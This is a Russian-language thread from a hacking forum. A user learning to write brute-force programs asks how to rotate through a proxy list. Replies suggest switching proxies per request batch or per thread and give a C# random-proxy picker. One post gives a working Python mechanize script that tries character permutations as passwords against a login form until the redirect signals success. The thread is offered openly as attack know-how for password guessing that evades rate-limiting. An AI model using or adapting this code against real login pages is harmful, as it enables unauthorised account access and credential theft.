• XSS.stack #1 – первый литературный журнал от юзеров форума

Brute force на Python

CEBEK777

(L3) cache
Пользователь
Регистрация
21.01.2019
Сообщения
163
Реакции
26
Коллеги привет)
Учусь писать брут программы , до конца не могу понять как втихнуть в прогу лист с прокси . Кто имел опыт в данной сфере, буду рад помощи) Обмен опытом в разных сфера приветствуется :)
заранее спасибо
 
Дык, так-же, как и при работе с любыми списками.
Сделал n-запросов - переключился на следующий/случайный сервер. Либо, если брут многопоточный, то можно каждый поток через другой прокси сервер гнать.
 
Я обычно делаю функцию которая дёргает рандомную
Вот пример только на шарпе

C#:
public static string getProxy()
{
    Random rand = new Random();
    string proxy = Collection.listProxy[rand.Next(0, Collection.listProxy.Count)];
    return proxy;
}
Хотя кто-то мне говорил что это не лучшая реализация и лучше будет брать прокси по порядку ... ну хз.
 
Я обычно делаю функцию которая дёргает рандомную
Вот пример только на шарпе

C#:
public static string getProxy()
{
    Random rand = new Random();
    string proxy = Collection.listProxy[rand.Next(0, Collection.listProxy.Count)];
    return proxy;
}
Хотя кто-то мне говорил что это не лучшая реализация и лучше будет брать прокси по порядку ... ну хз.
не особо понял конечно)) я только на питоне пишу
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Python:
#!/usr/bin/python
import mechanize
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos = itertools.permutations("i3^4hUP-",8)
br.open("http://www.example.com/login/")
for x in combos: 

    br.select_form( nr = 0 )
    br.form['userName'] = "user name"
    br.form['password'] = ''.join(x)
    print ("Checking ",br.form['password'])
    response=br.submit()
    if response.geturl()=="http://www.example.com/redirected_to_url":

        #url to which the page is redirected after login
          print "Correct password is ",''.join(x)
          break
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх